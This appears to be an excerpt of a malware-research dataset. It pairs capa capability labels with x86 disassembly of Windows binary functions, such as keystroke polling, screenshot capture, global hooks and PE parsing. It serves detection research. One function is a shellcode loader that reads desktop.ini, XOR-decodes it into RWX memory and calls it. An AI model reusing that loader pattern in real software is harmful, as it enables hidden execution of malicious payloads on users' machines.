joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002cbd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x1002ccd8
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x1002ccd8
mov ebx, dword [ebp + 0x10]
test ebx, ebx
je 0x1002ccd8
push 2
push ebx
lea eax, [ebp + 8]
push eax
push esi
call fcn.1002b900
add esp, 0x10
cmp eax, 2
je 0x1002cc19
pop edi
pop esi
mov eax, 0x80004005
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [ebp + 8], ax
jne 0x1002cc0d
push 4
lea eax, [ebx + 0x3c]
push eax
lea eax, [ebp - 4]
push eax
push esi
call fcn.1002b900
add esp, 0x10
cmp eax, 4
jne 0x1002cc0d
add ebx, dword [ebp - 4]
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x1002cc48
mov dword [eax], ebx
push 2
lea eax, [ebx + 4]
push eax
lea eax, [ebp + 8]
push eax
push esi
call fcn.1002b900
add esp, 0x10
cmp eax, 2
jne 0x1002cc0d
movzx eax, word [ebp + 8]
cmp eax, 0x14c
je 0x1002cca3
cmp eax, 0x8664
jne 0x1002cc0d
push 0x108
push ebx
push edi
push esi
call fcn.1002b900
add esp, 0x10
cmp eax, 0x108
jne 0x1002cc0d
cmp dword [edi], 0x4550
mov eax, 0x40
pop edi
mov ecx, 0x80004005
pop esi
cmovne eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0xf8
push ebx
push edi
push esi
call fcn.1002b900
add esp, 0x10
cmp eax, 0xf8
jne 0x1002cc0d
cmp dword [edi], 0x4550
mov eax, 0x20
pop edi
mov ecx, 0x80004005
pop esi
cmovne eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0x80070057
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x426c40
Capabilities:
Check if file exists
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x254
mov esi, dword [ebp + 8]
mov eax, dword [0x43300c]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x426cac
lea ecx, [ebp - 0x258]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x426cde
lea eax, [ebp - 0x22c]
push 0x105
push eax
push 0x43479c
call fcn.0040d26d
add esp, 0xc
mov esi, 0x43479c
mov word [0x4349a4], 0
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040dac1
mov eax, esi
add esp, 0x254
pop esi
pop ebp
ret
lea eax, [esi + 4]
lea ecx, [ebp - 0x258]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x426c70
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call fcn.0040d386
cmp esi, 2
jne 0x426cf8
mov dword [eax], 2
jmp 0x426cfe
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp eax, 0x12
je 0x426c97
call fcn.0040d386
mov dword [eax], 2
jmp 0x426c97
mov dword [eax], 9
xor esi, esi
jmp 0x426c97

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x402a50
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x402a7f
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403d9c
jmp 0x402a9d
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.00402978
mov edi, eax
test ebx, ebx
je 0x402a9d
cmp dword [esi], 0
je 0x402a9d
dec ebx
jmp 0x402a86
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402d78
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x4ed044], 0x8088405
inc edx
mov dword [0x4ed044], edx
mul edx
mov eax, edx
ret

Function at 0x402d90
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x4ed044], 0x8088405
inc edx
mov dword [0x4ed044], edx
fld qword [0x4eb02c]
push 0
push edx
fild qword [esp]
add esp, 8
fscale
fstp st(1)
ret

Function at 0x402ef8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402f90
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402f70
xor eax, eax
push ebp
push 0x402f69
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402fac
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402f70
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret

Function at 0x403c6c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004026fc
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x4ed049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403c34
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x405450
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405608
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4054b1
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405624
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40551e
xor eax, eax
push ebp
push 0x405517
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405500
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405644
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40551e
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4055ff
cmp byte [ebp - 0xd], 0
jne 0x405560
cmp byte [ebp - 0x12], 0
je 0x4055ff
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405579
dec ebx
cmp byte [ebx], 0x2e
je 0x405588
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405578
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4055ff
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4055b5
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4055ff
cmp byte [ebp - 0xd], 0
je 0x4055ff
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4055ff
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ad7c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40adb5
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403d9c
jmp 0x40adbe
mov eax, ebx
mov edx, esi
call fcn.00403d50
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40adc8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ade9
mov al, byte [esp]
jmp 0x40adeb
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4155d8
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
jne 0x4155ed
mov byte [ebx + 0xd], 0
pop ebx
ret

Function at 0x4175d0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4175d6
ret

Function at 0x41a0b8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41a109
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41a0f0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41a0e0
jmp 0x41a109
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41a0f1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42c5a4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], edx
xor eax, eax
mov dword [ebp - 0x14], eax
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
cmp dword [0x4ed768], 0
sete dl
or al, dl
jne 0x42c6e8
mov eax, dword [0x4ed76c]
mov bx, 0xffff
call fcn.0040325c
mov eax, dword [0x4ed768]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x42c6b7
inc esi
xor edi, edi
mov edx, edi
mov eax, dword [0x4ed768]
call fcn.0040fe20
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
je 0x42c6af
mov eax, dword [ebp - 0x10]
cmp byte [eax + 0x16c], 0
je 0x42c6af
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42c6af
mov eax, dword [ebp - 0x10]
call fcn.00434448
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42c6af
push ebp
call fcn.0042c560
pop ecx
test al, al
jne 0x42c6af
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x8c]
cmp eax, dword [ebp - 0x10]
jne 0x42c66b
mov eax, dword [ebp - 0x10]
call fcn.00432d8c
dec eax
jle 0x42c6af
mov byte [ebp - 0x15], 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x15]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov bx, 0xffc2
call fcn.0040325c
cmp byte [ebp - 0x15], 0
je 0x42c6af
push dword [ebp - 4]
push dword [ebp - 8]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42c6af
mov edx, dword [ebp - 0x10]
mov eax, dword [0x4ed76c]
call fcn.0042be10
inc edi
dec esi
jne 0x42c5fe
mov eax, dword [0x4ed76c]
cmp dword [eax + 8], 0
jle 0x42c6cf
mov eax, dword [0x4ed76c]
call fcn.0042bea0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42c6e8
push ebp
mov eax, dword [ebp - 0x14]
call fcn.0042c418
pop ecx
test al, al
jne 0x42c6e8
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x431f18
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x431f49
je 0x431fa3
sub eax, 7
je 0x431f6a
dec eax
je 0x431f94
sub eax, 0x17
je 0x432024
jmp 0x432062
add eax, 0xffffff00
sub eax, 9
jb 0x432010
add eax, 0xffffff09
sub eax, 0xb
jb 0x431ffa
jmp 0x432062
mov eax, ebx
call fcn.004426f0
mov edi, eax
test edi, edi
je 0x4320c2
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xc8]
test al, al
je 0x4320cb
jmp 0x4320c2
test byte [ebx + 0x44], 0x20
jne 0x4320cb
jmp 0x4320c2
mov edx, esi
mov eax, ebx
call fcn.0042f804
cmp dword [esi + 0xc], 0xffffffff
jne 0x4320cb
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.004070f0
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.0042e29c
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.00431dc8
test eax, eax
je 0x4320cb
mov dword [esi + 0xc], 1
jmp 0x4320cb
mov edx, esi
mov eax, ebx
call fcn.00431e8c
test al, al
jne 0x4320cb
jmp 0x4320c2
mov eax, ebx
call fcn.0042ee7c
test al, al
jne 0x4320cb
jmp 0x4320c2
mov eax, ebx
call fcn.00434448
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x4320c2
cmp dword [0x4eb854], 0
je 0x4320c2
mov eax, dword [0x4eb854]
cmp ebx, dword [eax + 0x24]
jne 0x4320c2
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x4eb854]
call fcn.0042f720
jmp 0x4320c2
mov eax, dword [0x4ed730]
cmp byte [eax + 0x20], 0
je 0x4320c2
mov eax, dword [0x4ed730]
cmp dword [eax + 0x1c], 0
je 0x4320c2
mov eax, dword [esi]
mov edx, dword [0x4ed730]
cmp eax, dword [edx + 0x1c]
jne 0x4320c2
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.00442604
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb9
call fcn.0040325c
jmp 0x4320cb
mov edx, esi
mov eax, ebx
call fcn.0042f804
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43255c
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x432578
cmp dword [esi + 4], 0
je 0x4325a5
test byte [ebx + 0x45], 1
jne 0x432597
mov eax, ebx
call fcn.004315cc
test eax, eax
jne 0x432597
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x4326b5
mov edx, esi
mov eax, ebx
call fcn.004321d4
jmp 0x4326b5
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4326ae
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00434448
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0042f720
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043255c
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00434448
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4326b5
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43c018
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403cb8
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43c079
push 0x100
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
cmp byte [ebp - 0x101], 0
jne 0x43c079
cmp byte [ebp - 0x102], 0
je 0x43c079
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, 0x100
call fcn.00403ee4
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4423d4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4ed7e4
cmp dword [edi], 0
jne 0x442450
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4ed7e0]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4eb9e0
mov ecx, 2
call fcn.00402938
mov edx, 0x4423ac
lea eax, [esi + 5]
call fcn.004423cc
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.004423cc
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x442425
mov dword [0x4ed7e0], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x442574
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4425c4]
test si, 4
je 0x442588
or bl, 1
test si, 8
je 0x442592
or bl, 4
test si, 1
je 0x44259c
or bl, 8
test si, 2
je 0x4425a6
or bl, 0x10
test si, 0x10
je 0x4425b0
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4425bf
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4425c8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x442600]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4425e1
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4425f0
or bl, 4
test esi, 0x20000000
je 0x4425fb
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x448cec
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x448e91
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40eaa0]
call fcn.00403050
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.00403cb8
push 0
call sub.user32.dll_GetKeyboardLayout
mov edx, dword [ebp - 4]
mov dword [edx + 0x30], eax
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x448e67
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00438b30
test al, al
je 0x448e5a
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x448ea0
lea eax, [ebp - 0x254]
call fcn.004090f0
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x448e5a
xor eax, eax
push ebp
push 0x448e53
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x100
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x448ed8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x448e3c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00403ee4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x448e3c
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00403ee4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x448e5a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x448d5d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.004124a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x448e98
lea eax, [ebp - 0x260]
call fcn.00403cb8
ret

Function at 0x44967c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4ed7b4]
cmp byte [eax + 0x8d], 0
jne 0x4496ed
cmp dword [0x4ed7f0], 0
jne 0x4496ae
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x449638
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4ed7f0], eax
cmp dword [0x4ed7ec], 0
jne 0x4496c9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4ed7ec], eax
cmp dword [0x4ed7f4], 0
jne 0x4496ed
push esp
push 0
push 0
push 0x4495dc
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x4ed7f4], eax
pop edx
ret